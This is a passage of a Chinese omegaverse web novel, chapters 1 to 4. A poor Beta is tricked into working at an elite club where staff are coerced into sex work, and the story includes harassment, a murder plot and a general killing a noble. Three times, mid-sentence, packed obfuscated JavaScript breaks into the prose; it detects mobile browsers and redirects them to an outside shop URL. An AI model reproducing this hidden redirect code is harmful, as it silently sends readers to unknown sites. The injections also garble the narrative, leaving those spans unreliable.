《上将的金丝Beta》 1. 第1章 耿诺觉得一定是上辈子修来的福气,才让他遇到阮如棠这样的贵人。 他只是帮对方参加了一场考试,不仅得到了一大笔钱,对方竟还热情地帮他介绍一份高薪工作。 果然帝都机会多,能闯荡出个名堂。 “这怎么好意思呢,阮少爷。”耿诺表面挂着恭敬的笑,十分客套,颇有点富贵不能淫的矜持,“按照我们做事的规矩,事成之后就不该再见面了。” 阮如棠举起茶杯,还没到嘴边就放了回去,下城区的空气让他鼻炎都要犯了,更别说这个看似华贵实则处处充满油腻脏污的咖啡厅,实在令他坐立难安。 他从挑剔的目光打量耿诺,对方一点也不像个Beta,纤细的躯体更像Omega,细瞧起来脸也有几分可人,但也只是几分而已,跟他比还是差远了。 可坐在这里没多会儿,阮如棠能明显感觉到落在耿诺脸上的视线要比自己多得多,他很不高兴,但还是耐着性子道:“我的确没想到下城区也有你这样的人才,既然你帮我通过了皇家学院的入学考试,仅仅一万银河币当然不足以代表我的诚意。” 仅仅!一万银河币! 耿诺强压心中的激动。 按照市场流通货币的购买力,一万银河币等于十万卢克币,而一万卢克就足够耿诺这样的平民家庭生活一年。 耿诺并不是觉得一万银河币多,这远远不够。他的父亲生病了,医疗舱用上一次就要五万卢克! 比买命钱还贵! 家里有一对年纪尚小不能成为劳力的弟弟,还欠着一屁股债,他当然需要更多的钱。 “不是我不愿意,只是……在高级俱乐部里做服务生,万一我粗手粗脚地得罪了尊贵的客人,不就拂了您的面子?再者说,如果只是一个月几万卢克的话,恐怕没法让我心动。” 耿诺在垃圾站捡回的读本中看到过,上流社会的贵族老爷们说话都不会直来直去,一句话甚至能藏着七八层含义。往往好事多磨不求一蹴而就,现在他几次推阻对方好意,一是在试探更多信息,二是在借机抬高自己身价。 过去,他运用这些过时的书面知识混迹在三教九流之间,捞得不少好处,如今遇到这样大的天降馅饼,他自然要细细斟酌,好好为自己谋算。 可惜他面对的阮如棠是一个不学无术的草包Omega,这套对他不管用,之所以耐着性子也是在等着耿诺往他准备好的坑里跳。 耿诺代替他参加了皇家学院的入学考,并且顺利通过了,那么现在耿诺的存在就成了巨大的威胁。 作为帝都八点档的忠实观众,阮如棠清醒地知道,这种情形无异于真假Omega少爷互换人生,故事的结局,假少爷的失败都归结于一开始没有狠下心让真少爷消失在这个世界上! 他需要让耿诺悄无声息地消失掉,毕竟这世上,还是死人的嘴比较严实。 阮如棠忍着不适继续善意地笑笑。 耿诺被他这一笑荡得神魂颠倒,已经忍不住畅想未来了。 等他攒钱治好父亲的病,再辛苦工作几年,把家里翻新一下,然后送弟弟们来帝都上学,最好看在自己老实巴交勤恳能干的份上,有一个善解人意的Beta愿意和他组建家庭(如果是像阮少爷这样的Omega就更好了),那他一切的辛苦都值得了! 最终,这段你来我往的试探成交于阮如棠介绍的“工资每月两万银河币”。 阮如棠带着耿诺去见了狂鲨俱乐部的老板,这还是耿诺第一次坐上飞船。路上,他捋了捋,觉得自己的表现没有问题,现在只剩下这份工作的真实性了,常言道天上掉馅饼的好事里总是藏着阴谋…… 等见了老板,耿诺的一切疑虑都打消了。 “什么——我的阮少爷,你在开什么玩笑?让他来做我这儿的服务生?”皮克斯听了阮如棠的来意瞬间吹胡子瞪眼,“狂鲨是什么地方,帝国顶级俱乐部,高端奢华的代名词,人人向往的天堂,如果不是有爵位功勋的贵族,哪怕连外广场都不能踏足。” 他围着耿诺绕一圈,挑剔地上下打量,“你让他来我这当服务生,万一得罪了我那尊贵的客人可怎么办!我不同意,像他这种脏兮兮的乡巴佬,最好从哪来滚哪去!” 皮克斯的态度反而让耿诺放下了心。 这种地方的老板如果上赶着欢迎自己来工作,恐怕才有猫腻呢。 他安了心,这样的肥差可不能错过,于是他便用三寸不烂之舌为自己主动争取,甚至表明,他还略懂一些机械修理技能,业余时可以帮忙修些小东西。 “是的,他成绩蛮好。”阮如棠在旁边附和。 良久之后,皮克斯似乎终于觉得收纳耿诺作为员工是一笔好买卖,更何况还有阮少爷的面子加持,他只好松了口。 “行了,去把家里安顿好,我们这儿一个月只有一次休假的机会。三天后,劳拉林尼大道第三个巷子,我会派人接你。”皮克斯瞧起来仍心不甘情不愿。“对了,你家里还有什么人?” 出门在外,身份是自己给的。 耿诺张口就来,“我是个孤儿,一人吃饱全家不饿。”如果说实话,恐怕对方会认为他有所牵挂,为了家人拼命赚钱,不得不忍受老板的压榨,这简直是天赐的工驴。 皮克斯有些意外,脸色却缓和不少,“行吧,以后到我这可要好好工作,别给阮少爷丢脸。” 耿诺不卑不亢地点点头,心满意足地离开了。 他一走,皮克斯瞬间变了脸,殷勤地站在阮如棠旁边,“阮少爷,难为您亲自去肮脏的下城区跑一趟了,下次这种事交给我来做就行。”他打个响指,一台便捷净手器“唰”地飞到阮如棠面前。 “怎么样,这出戏您还满意吗?” “很好,皮克斯。”阮如棠勉为其难地把手伸进去,五秒钟后又拿出纯羊羔绒手帕里里外外擦了个干净,“这人也没有多聪明,居然还有本事帮我通过入学考试……哼,可惜人的命运呀,从出生那刻起,就注定了。” 他挥挥手,走向自己的飞船,“我会告诉苏芒舅舅,下季度的租金给你们减半。” “那可太谢谢您了!”皮克斯笑逐颜开,点头哈腰地恭送阮如棠,“以后有什么事情,我老皮绝对义不容辞哈哈……” 耿诺怀着愉悦的心情坐上返程飞的,飞快地盘算接下来的计划。只有三天,时间紧任务重,他要赶紧把父亲第一个疗程的治疗安排上,再安顿好弟弟们。 现在是银河纪元31305年,耿诺的家乡是帝星周边近帝行星——赫尔辛行星,作为一个来自下等行星的农村Beta,耿诺是一个被两边嫌弃的劳力,他既没有Alpha的体力,又没有Omega的生育能力,偏偏身子骨也比一般Beta瘦弱。 在他的家乡,由于缺少智能机械,农田污染严重,耕地十分耗费人力,多数时候大家会互相帮助,今天我们一起耕你家的田,明天我们一起锄你家的地。耿诺则是不被待见的存在。毕竟他是在田里锄地都能砸到自己脚的人,这不叫劳力叫废物。再加上他们家一堆破事,乡亲们都避之唯恐不及。直到耿诺用村里大型器械淘汰下来的零件组装成了趁手的耕地工具,乡亲们才又与他们家交好。 可惜农田污染日渐严重,收成越来越低,村里游手好闲的人多了,耿诺只好尝试来大星球讨生活。 星际飞的十分狭小,和贵族老爷们的飞船比起来,这些漆黑滚圆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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穆迩无所谓地应和了一声,“随你。”他现在心里装着别的事,寒暄一通后,状似无意地提议:“我给你安排个带薪休假如何?” “有话直说。” 对面似乎就在等这句话,随即打开了话匣,“是这样的,你不在的这些日子里帝星出了个大笑话。虽然我极力压制,但那些Omega太太团们的八卦实力实在不容小觑,等我知道的时候已经在贵族间传遍了。” 穆迩陛下叹息道:“要是洛洛愿意开展一些夫人外交,我何至于最后一个知道……” 顾承砚很不见外地说:“你出轨的事闹得贵族阶层都知道了?要我帮你把他们灭口?好说。” 穆迩陛下“嘶”了声,“我可去你的吧。” 沉默两秒,穆迩露出一言难尽的表情,语速飞快道:“是这样的,刚刚拟上任的裴斯曼帝国银行行长,被一个Omega骗走了半辈子的积蓄,在他即将挪用公款的时候被下属发现并举报,现在这人已经被控制了但他丝毫不觉得自己做错了什么,反倒始终和调查人员强调那个Omega的无辜以及自己有多么爱他。” 这话烫嘴似的,看上去皇帝陛下实在不想承认自己一手提拔的帝国银行行长是个恋爱脑。 顾承砚不是很感兴趣,“什么Omega魅力这么大?” “问题就出在这了,我让人调查了一下,过去五年,类似高官、富商在仕途生意的关键时刻为真爱冲昏了头脑的事件竟然有七件。” 顾承砚一想就明白了,“最终的得益者都不约而同地落在一些贵族身上?” 穆迩陛下点点头。 “有意思,这些‘真爱’哪来的?” “巧了,都是从狂鲨俱乐部出来的服务生,而事后他们都失去了踪迹。” “狂鲨俱乐部。”顾承砚重复道,“我知道了。”随后切断通讯。 2. 第2章 耿诺回到家,两个刚到他腰的小子闪电似的从角落扑来。 “嘿咻!我的小乖乖们!”耿诺十分娴熟地接住二人,借着惯性在空中荡了一圈,站正后顺势放下他们,脚步连顿都没顿就径直走向屋里。 “哥哥!”弟弟们不满耿诺的敷衍。 “诺诺回来了?快进来。”耿父在屋里喊到。 耿诺进屋第一件事就是让拖着病体的耿父赶紧去休息,“别忙活了,父亲,我有话跟你说。”抬头看了眼屋顶,不知道什么时候又破了个洞,耿父随着他的视线看去,唉声叹气:“之前用防水纸补过的地方很快就风化了。” 他们一家四口住在一个破旧的石屋里,成天不是这里透风就是那里漏雨,村里大部分人家前些年都重新盖了楼房,他们家原本也计划着重新盖房,就定在弟弟们出生之后,没想到孩子一出生,又都是Beta,耿诺的另一位Alpha父亲不理解一个A和一个O居然连生三个孩子都是Beta,竟然就这样狠心地抛下他们父子四人离开了。 耿父在生产后落下了病根,前段时间又发现了癌变的病灶,别说重新盖房,债都欠了一屁股。 最让他们窒息的是,原以为Alpha父亲真的是嫌弃耿父只会生Beta才离开,后来发现,他是偷偷赌博在外面欠下巨额债务,现在他跑路了,催债的就要求他们一家偿还。 刚刚成年的耿诺只有挑起家庭的大梁。 他安慰父亲,一会儿他去找村里专修房屋漏水的老丁头过来整体修复一下。 耿父担忧地念叨:“那要好多钱哟……” 耿诺这才想起来还没说正事。他简单把情况跟父亲说了一通,“虽然一个月只能回来一次,但工资够高,我一会儿就去联系医疗舱,您先治疗,剩下的钱我拿去还一部分债,免得这段时间他们骚扰您。放心吧父亲,有了这份工作,咱们很快就能把债还清了。” 耿父大为惊喜,反复问了好多遍“真的吗?” 当然是真的,看着父亲因为激动面色都多了几分红润,耿诺也格外高兴。 他先给了老丁头翻修整座屋顶的钱,让对方回头去帮忙修缮一下;又去村长家游荡一圈,帮忙检修一下村里的大型器械,没要报酬,只是拜托村长和乡亲们在自己不在的时候多照看点家里,尤其防着点那群催债的;之后给弟弟们一人买了一根过年才能吃上的热狗棒,收到了感激不尽的弟弟们亲手做的项链——他们一人折了一颗星星,放在拇指大小的玻璃瓶里,串上彩绳,特别好看。 耿诺十分感动,然后趁机把他们送到了舅舅家。 在两个弟弟哭天喊地的哀嚎中,耿诺和舅舅推拒拉扯了五个回合,总算把生活费塞到舅舅手里。 父亲治疗期间没法照顾两个年幼的弟弟,只能出此下策。 他承诺每个月会回来接他们一次,等父亲病好了就让他们回家,这些日子就先拜托舅舅了。 哄了十分钟后,耿诺的耐心告罄,冷冷丢下一句“再不听话就让顾承砚上将把你们都抓走”,弟弟们打着嗝止住了哭声。 从舅舅家出来,他又去联系医疗舱。说是医疗舱,但跟那些帝星上等老爷们用的相距甚远,他们能用上的,都不知道是人家淘汰了多少轮下来的废品,按理说本该报废销毁的,但一些有门路的人会趁机把这些废弃医疗舱带回来,高价出让使用权。 当然,大部分人家依然是用不起的。 对耿诺来说,父亲和弟弟们就是他的一切,用不起也要用,他会努力赚钱。 回家的路上,路过村口的一片空地,几个流里流气的Alpha少年聚在一起,耿诺冲其中一个Alpha少年招了招手,剩下的人便暧昧地挤眉弄眼起来。甚至有人前后挺腰做出一些不雅的举动。 “亨特的小媳妇儿来了。”他们说。 耿诺朝他们扔了块砖头,然后对亨特说:“我需要你帮我个忙。” 朋友们哄笑着散开了,亨特这才不情不愿地过来。 “说吧,我的佣金很高的。” “臭不要脸,上个月我帮你们家耕地都没要钱。” “那是机器耕的,又不是你耕的。” “机器是我制造的。” “好好好你说了算,什么事?” 耿诺有点不高兴,亨特也不是很靠谱,但他找不到别人帮忙了。 “是这样的……” 首次体验医疗仓治疗,能达到什么样的效果仍未可知,出门那天早上,耿父和耿诺都有些紧张,吃饭的时候耿诺使劲拍了拍破旧的收音机,企图用广播缓解一下紧张。 新闻播报从里面断断续续传出。 第一则新闻,主持人用夸张的语气讲述近期帝都出现的远古神秘病毒的传言。耿诺听着太晦气了,赶紧调到下一个频道。 第二则新闻,主持人中规中矩的声音不掺杂情绪地讲述帝国上将顾承砚和莱特侯爵于昨日在迎宾大道发生冲突,顾上将当街将莱特侯爵绞杀,据悉,当时现场围观群众达数百人…… 疯了,更晦气了。耿诺干脆把电池抠出来,耳不听为净。 安排好父亲的第一次诊疗,耿诺算了算接下来的治疗费用和债务,心里沉甸甸的。 “剩下的钱都在这张卡里,发了工资我就会把钱打进去,如果走不了远路,就让亨特帮忙取钱。”耿诺嘱咐父亲。 落后的赫尔辛行星没法像帝都那样人手一个光脑,连存取钱都要去专门的银行,路程较远,耿诺担心父亲身体扛不住,亨特是和耿诺一起长大的,虽然整日不务正业,但多数时候还是会帮他的忙。 三天一晃而过,他只带着弟弟们亲手做的项链和一个黑色帆布包便启程了。 来到劳拉林尼大道第三个巷子,来接他的飞船早早停靠在那。 半小时后,他来到了目的地。 飞船停在俱乐部门口,皮克斯正在花园给Alpha守卫们开会,见他下来,重新用别样的眼光打量了他一番。 “还不错。”他点评道。 皮克斯随意地朝他勾勾手指,换了个意味深长的语气,“乡下来的Beta小子,欢迎来到噬骨销金的天堂——狂鲨俱乐部,来吧,带你见识见识真正的上流社会。” 耿诺乖巧地跟在他身后,心想:谁在意上流社会什么样,每月两万银河币,我来了。 狂鲨俱乐部是一个集商务休闲娱乐一体的场所,专门服务帝国贵族、政要人士和各种富豪,随便拉出一个都是全银河响当当的人物,因此对于服务生的要求也格外高,所有VIP客户的信息都要绝对保密。 皮克斯大致跟耿诺说了几句,让他签了一式三份的合同,耿诺没见过签合同的工作,很新奇,但没翻两下就被皮克斯打断。 “快点,我一会儿还有事。”他随手指了个路过的娃娃脸,让他带着耿诺熟悉一下环境。 “走这边,我带你去住的地方。”娃娃脸朝他招手,“我叫何飞,你也是Omega吗?” “不是,我是Beta。”耿诺说。 何飞脸上闪过一丝讶然,“这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677850|144217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的Beta很少,”随即理解地点点头,“没关系,有些客人也会喜欢Beta或者Alpha服务,不过我还是第一次见到你这样的Beta。如果不说,客人们恐怕都会以为你是漂亮小O。” 耿诺其实并不喜欢别人说他像个Omega,但何飞说以他的长相肯定能拿到很多小费,耿诺又觉得在大城市凭脸赚钱没什么不好,看在钱的份上,做Beta的底线可以降低一点。 两人在走廊边走边说,突然拐角处冲出一个人,看他身材娇小应该是个Omega,身上的衣服却和何飞不太一样,看到耿诺后眼前一亮,情绪异常激动,扑过来拽住他的衣服,崩溃大喊:“先生,求求您救救我!求求您救救我!我真的受不了了!” 耿诺有些手足无措,他面对Omega时总是很心软,正当准备询问对方遇到了什么麻烦时,何飞却把那人扯开,高声往对方身后喊道:“他在这里!” 耿诺急忙拉住何飞的手,“你这是做什么……” 还没等到回答,拐角处已经冲出几个黑衣人,不由分说地把这个Omega拖走了。 拖行时强硬地捂住了他的嘴,耿诺只看到他含恨的眼睛。 很快,走廊恢复了安静。 安静地有些可怕。 耿诺开始思考自己究竟到了一个什么地方。 “为什么?那个人明明在向我们求救。”他质问何飞。 “不是向我们,是向你。”何飞说。 见耿诺无法理解,他又解释道:“你刚来,还没来及换衣服,他把你当成了客人。” “真好笑,他明明在发情,却从自己尊贵的客人身边逃走,还想扑到别的客人怀里,这些Omega真是娇气。”何飞凉薄地嗤一声,“不用管他,那些人会把他好好送回去。” “什么?他在发情?那为什么还要服务客人,他怎么服务客人?”耿诺大惊。 “就……”何飞冲他暧昧地笑笑,“还能怎么服务呗?” 耿诺心都凉了。 “有些客人难伺候一些,不巧他遇上了而已。”何飞安慰道:“你不用担心,只要我们认真服务客人,就不会有事的,也不是所有的客人在床上都喜欢折腾人,我之前遇到一位客人,短平快就喜欢摸着别人唧唧纯聊天……” “等等,等等!”耿诺大脑有些宕机,努力捋直舌头,分辩道:“可我不是来做这个的。” 何飞愣了一下,“你在开玩笑吗?只要客人需要,这里的服务生都要做的,狂鲨的宗旨是''服从客人的一切需求'',不然你以为怎么会有这么高薪的工作平白给我们这些普通人?” 不然你以为怎么会有这么高薪的工作平白给我们这些普通人? 耿诺脑子嗡嗡的。 不行,做Beta不能一点底线都没有! 他撇开何飞,当机立断去找皮斯克。 “这里到底是做什么的?我只是来做服务生的。” 富丽堂皇的超大办公室里,皮克斯坐在宽大的办公桌后,嘴里叼着雪茄,两脚翘在桌面上,吐出一口烟圈,悠闲地笑问:“这么快,瞧见什么了?” 耿诺抿着嘴,冷冷地看着他。 皮克斯两手一摊:“服务生有床上服务的业务不是很正常吗?” “我要离开,我不干了。”耿诺认真地说。 皮克斯没说话,拿起一叠文件“啪”甩到他面前,是他刚签的合同。 “违约金四亿银河币。” “什么?!!”耿诺倒吸一口凉气。 3. 第3章 “你当这儿是什么地方。”皮克斯看他的眼神充满嘲讽,“以你的条件,来我这擦地都不够格,要不是看再阮少爷的面子上,你以为你能来这里工作?” “那就让我去擦地吧。”耿诺梗着脖子。 皮克斯直接乐了,起身走到耿诺跟前,倾身凑近,眼神像毒蛇一样盯着他,嘴边挂着凉薄的笑意,“你当我这么好说话呢?嗯?” 耿诺气得发抖。 “哈哈哈,”皮克斯大笑起来,突然换了副面孔,“开个玩笑,其实我很好说话的。” 他打个响指,光脑飞到面前,只见他飞快查询了什么,又挥挥手让光脑回归原位。 “这样吧,你可以走,但要做完这个月,本月底这里将有一场大宴会,我们正缺人手,放心,你不愿意,就不会让你做别的,到时候端个酒打个杂,做完一个月,咱们好聚好散。” 耿诺狐疑地望着他,不相信他这么好说话。 “我也不是真的要为难你。”皮克斯露出一个无奈的表情,“我图什么?你如果跟我耍脾气,得罪了那些尊贵的客人,你倒是可以拍拍屁股走人,我这副家业不就要砸在这里了?” “但是话又说回来,你刚来就走,我怎么跟阮少爷交代,更别说我手下其他员工,要是都有样学样了怎么办,你就当交个朋友,帮我个忙,我也不跟你要违约金,只是这个月的工资你也只能拿底薪了。” “以后帝都相见,你有什么困难可以来找我帮忙,要是日后发达了,也希望你不要忘了我这个朋友。”皮克斯真诚地拍拍他的肩膀,笑容满面。 耿诺思索了一会儿,什么底薪?应该就是之前说的两万银河币吧。 那……也行? 他慎重地说:“可以,但是我绝对不会做那种事。” “没问题。”皮克斯答应得很爽快,“你不要把我们这儿当成什么不正经的地方,服务生有很多工作的,客人们打球要有球童,玩牌要有荷官,有时候还得给客人的机甲加油,给光脑充电,事情多着呢,这里是高档场所,又不是所有客人都为了下面二两肉来消遣的。” 耿诺依旧很谨慎,对皮克斯的话半信半疑,临走前还要走了一份合同。 明明一式三份,刚才都没给他一份。 耿诺对于法律条文一窍不通,合同读起来很费劲,那些专业术语他是一概看不懂,撇去那些晦涩繁琐的表述,剩下的内容总结一下大致就是两个意思: 俱乐部不对服务生生命安全负责。 违约金四亿银河币。 他还看懂了薪资构成规则—— 皮克斯是个骗子! 底薪只有五万卢克,剩下的全部要靠客人打赏的小费,底薪加小费如果超过两万银河币,则当月收入为两万银河币+剩余收入的百分之一,如果不到两万银河币,则只能拿到底薪+小费的百分之一。 耿诺感受到了大星球无情的套路。 但他不准备回去和皮克斯对峙了,他已经明白,在对方的地盘,自己讨不到好,要么忍气吞声磨完这一个月,自认倒霉滚蛋,要么就找机会逃掉,底薪也不要了。 回到房间,耿诺悄悄把这份合同撕掉了,准备找机会去皮克斯办公室把剩下两份也偷出来销毁,免得日后被人翻旧账。 员工宿舍都是单人单间,虽然不大,也比家里的房间大上很多,床很软和,耿诺坐在床边,莫名有些委屈,他不明白阮如棠为什么给他介绍这样一份工作,难道在他们上层人眼里,所有的底层人都是可以为了钱肆无忌惮地出卖尊严承受屈辱吗? 他难过地抹了抹眼泪。 屋外传来敲门声,何飞给他带来了工作服。 面对耿诺红通通的眼眶,他也只当没看见,指着和自己身上一样的燕尾西装说:“这套是工作日轮休的时候穿的,像我今天就是工作日轮休,不能离开,但是不用陪客人。” 又递给耿诺两套略显轻薄的衣服,“这套是日常穿的,我看了日程表,你离工作日轮休还早,接下来至少一周,你都只用穿这身制服。有两套轮换,这套制服损毁率比较高,坏了去库房领新的就好。” 耿诺点点头,摸着衣服料子,感觉是很高级的织料,不明白为什么损毁率会很高。 等他穿上才发现,这黑色制服又轻薄又透,还很短,上身遮不住腰腹,下身够不着膝盖,紧紧绑在身上,虽然不限制行动,但却时刻有种赤身裸.体的感觉,到处都无处遁形地显露着。 耿诺摸着脖子上的玻璃瓶吊坠,沉默地塞进衣领。 只要熬完这一个月,我就回家,男子汉大Beta,干什么不能讨生活? 目前他的工作主要是推着餐车进入各个包厢给客人送酒和餐食,因此也不可避免地看到了很多其他服务生工作的场面。耿诺终于明白制服为什么损毁率如此之高,和客人纠缠在一起的服务生,制服就没有完整挂在身上的,一撕就烂。 他也撞见过何飞在大腹便便的贵族身上晃动的场景,实在是触目惊心,耿诺很快就退出来了。 环境对人的影响好可怕。 一开始他走出宿舍都很羞耻,可看到其他服务生坦荡地穿着这样的制服到处走,他也逐渐觉得没什么大不了的。 一开始撞见“服务”的场面,他面红耳赤还很害怕,可除了自己,所有人都习以为常,于是他也能很淡定地进入包厢,面不改色的放下酒水餐食,再无声退下。 加上何飞总是在他跟前讨论其他人的“业绩”,让他逐渐觉得在这里,张开腿也是平平无奇的一项普通服务。 每当这时,他都会打断何飞的话,独自离去。 不过五天的功夫,他甚至会在睡梦里无知无觉地想到,别人如此轻易地就拿到了这么多钱,为什么他不能呢?又不用付出什么,他们做着基本一致的工作,仅有这一点不同,别人拿着几万银河币,他只有五万卢克,仅仅只够父亲用一次医疗仓的钱。 你需要钱啊,耿诺。 你的父亲需要钱,弟弟们需要钱,这个世道,做什么都需要钱。 你上哪搞钱呀?不如就在这里成为一个普通的服务生吧…… 耿诺从睡梦中惊醒,盗了半个后背的汗。 不行,不能再在这里待下去了。 那五万卢克不要也罢,他有得是法子挣钱。 他得离开这里。 耿诺开始仔细观察这里的环境,狂鲨俱乐部坐落在一个近乎于圆形的庄园中心,外层是宽敞的环形广场,中间是深度长达几公里的树林,将最里面的俱乐部别墅区紧紧包裹住。具体多远并不清楚,来时乘坐的飞船看不到外面。只有一条小道可以不受干扰地直达庄园外,但这条路十分隐蔽,或许只有管理员级别的人才知道。别墅区后面是一望无际的高尔夫球场,当然,球场的另一侧依旧是树林。 每到夜晚,外面的树林和高尔夫球场都被极高瓦数的探照灯照得透亮,还有无数巡逻机到处游走。 白天更有无数Alpha管理者监视着他们。除了陪同客人前往高尔夫球场,就只有去酒窖的时候有机会离开建筑。 耿诺心中有说不出的焦虑。 说不气馁是不可能的,但他也幻想着或许能平安无事地过完这个月。 ……然后,麻烦就来了。 这天,他像之前一样推着餐车去包厢送酒,刚推门进去,就察觉几道视线落在自己身上。 前几次也是碰巧,几乎都是在混乱中进入包厢,再悄悄退出去,这次客人们似乎还没开始“办事”,只是搂着服务生靠在沙发上聊天,因此耿诺的出现极具存在感。 这些视线让他很不舒服,耿诺屏住呼吸,沉着迅速地将酒在桌上摆好,正当他准备起身离开,突然有人从身后摸了把他的屁股。 “!!!”耿诺恶心得鸡皮疙瘩掉一地,几乎要跳起来,而他受惊的模样显然取悦了这些客人,他们欣赏着他的窘态,纷纷大笑起来。 耿诺逃也似的跑出去,临出门还听到其中一人邪笑着问这是个Omega还是Beta,怎么没在名单上,点他来陪陪我们…… 他现在觉得,想等一个月后全身而退,似乎是件不可能的事。 耿诺有想过这件事会给他带来点麻烦,但没想到来找他麻烦的是同为服务生的一个Omega。 “你就是新来的?” 耿诺在楼梯口被人叫住。 这人叫袁冰清,肤白貌美小细腰,美则美矣,要是在平时,耿诺定要好心情地欣赏一番,可惜面前之人正冲他吹鼻子瞪眼,眼一横眉毛都要立起来,看起来十分不好惹。 “有事吗?” 袁冰清掐着腰往他跟前走两步,“呸”一声,“你个小贱人,别在我面前装纯良,区区一个Beta,浑身骚味遮都遮不住,下次再敢当着我的面勾引我的客人,我就让你吃不了兜着走!” 这人有病吧? 耿诺被骂得莫名其妙。 “如果没事我就先走了。”耿诺嫌弃地绕过袁冰清。 他的无视成功激怒了对方,袁冰清愤恨不已地从背后推了一把,耿诺一时不察,猛得撞向楼梯扶手。 “呃!” 靠,好疼!! 有病吧?! 耿诺也恼了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677851|144217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身冲上去把袁冰清推倒,提起拳头就往他肚子上揍。 他知道袁冰清很受客人们欢迎,伤了他的脸说不定倒霉的是自己,打在身上就不一样了,谁知道是怎么伤的…… 别以为你是Omega我就会让着你! 在惊动巡逻机甲之前,两人已经被路过的其他服务生拉开了。 “你们疯了吗!惊扰到客人怎么办?” “你给我等着!”袁冰清站都站不稳还要朝耿诺放狠话。 耿诺也不怕,十分挑衅地朝对方勾勾手指,“来呀,我绝对不伤你的脸。” 袁冰清哆嗦了一下,与他相熟的服务生赶紧把人拉走。 也是耿诺歪打正着,狂鲨的规矩,只要没伤着脸,都要正常接待,在当值的日子,就算袁冰清被耿诺踩断了肋骨,今天都要正常去服务。 脸在江山在,反正不是没有客人喜欢搞虐待。 “你没事吧?”何飞担忧地问,“这人越来越疯了,自从……哎,都是上一位客人把他惯坏了,现在还想借着威风耀武扬威呢。” 耿诺还有些气喘,但更觉得很爽快,他才不关心袁冰清上一位客人是谁,摆摆手,“能有什么事,本来心情就不好,刚巧遇上个出气筒。” 直起身子,突然“嘶”一声,摸了把右臀,有些疼,应该是刚才撞到扶手了。 何飞扶着他,劝道:“别理他,这是嫉妒你呢。他从小在Beta窝里长大,总以为自己是天仙下凡,结果到这里,根本排不上号。别人长得比他好看,要嫉妒,别人业绩比他高,也要嫉妒。” “估计是你送酒的时候进了他服务的包厢,客人瞧上你了,可把他酸死了。” 其实袁冰清长得确实很好看,或许从客人的角度,有人就喜欢他这漂亮跋扈的样子,但很显然,同行们都很讨厌他。 何飞忍不住往耿诺身上瞟,明明是个Beta,耿诺却比很多Omega漂亮得多。 他这会儿还没缓过劲,喘息时胸口不断起伏,隐隐有破壳而出的新芽顶着薄如蝉翼的制服。他皮肤白,一生气涨得通红,黑色制服看不清内里,但连脖子都是从的,往下更是引人遐想。 粉嫩嫩的。 他都不知道自己样子有多诱人。 何飞挠挠头,“也是奇怪,你来了这么多天,居然没有人点你,你要是开张了,业绩肯定甩他几条街。” 耿诺没吭声,他没告诉何飞自己和皮克斯的约定,只是含糊说了几句,就先离开了。 临近傍晚的时候,俱乐部里突然紧张起来,所有工作人员都严阵以待,耿诺不明白发生了什么事,但看架势应该是有大人物要来。 没人过来给他分配工作,他就浑水摸鱼继续在窗台边擦玻璃,竭力降低存在感。 天色彻底暗下来之前,外面传来飞行器逼近的轰鸣,飞行器降落的瞬间,庄园内照明的灯光齐齐点亮,霎时前庭亮如白昼。 耿诺不适应地眯了下眼,借着墙壁的遮掩探头观望飞行器。 又是什么贵族老爷来这里消遣了?居然隆重到让皮克斯亲自迎接。 巨大的黑色飞行器像个沉默的巨兽,带来无情的夜幕。舱门打开,依次下来几个年轻男人,看似轻松随意的表情下,充满着畏人的压迫感,隔着这么远的距离都能感受到他们风淡风轻下的锐利目光。 皮克斯冲他们点头哈腰半天,似乎还在等最后的大人物。 耿诺耐不住好奇,也伸长了脖子。 乌墨色的皮鞋踏出舱门,身着黑色长款风衣的男人顺势走下,这人身材颀长,步履闲舒,自他出现的那一刻,所有人都不自觉屏息以待,极具震慑的威压从精神到□□细致地施加。 他摘下墨镜挂在胸前,抚平袖口的褶皱,连一个眼神也没给皮克斯。走在草坪上的每一步都像踩在人的心脏上,让人分不清耳畔回响的是自己的心跳声,还是这人掷地有声的脚步声…… 耿诺总用帝国一霸顾上将吓唬弟弟们,倘若真把他扔在顾上将面前,恐怕也会像此刻被压制得喘不过气。 这人似乎是真正身居高位的大人物。 正走神的时候,楼下的男人突然停下了脚步,目光精准地扫向他所在的窗户,耿诺一惊,连忙背过身用墙壁遮住自己。 甚至欲盖弥彰地蹲下捂住了嘴。 与此同时,他注意到,连廊另一侧也有一些客人躲在隐蔽处默默看着下面。 皮克斯见顾承砚突然停下脚步,赶忙殷勤询问:“顾上将,怎么了?” 顾承砚收回视线,神色淡淡继续往前走,“没什么,看见一只小耗子。” 4. 第4章 “哎哟我的顾上将,您可别开玩笑,”皮克斯惊慌失措地跟上去,“我们这里怎么会有耗子,又不是什么脏地方。” 顾承砚听到他这话,哼笑一声,重复了遍“脏地方”三个字,透着戏谑和不屑。 皮克斯脸皮厚,权当没听出顾承砚语气中的嘲讽,继续谄媚地领着人往里走,“顾上将,我们都安排好了,您今天第一次来,尽管享受就行……” “别紧张,我只是听说那些贵族佬们都来你这消遣,所以也来见见世面。”顾承砚随意地开口。 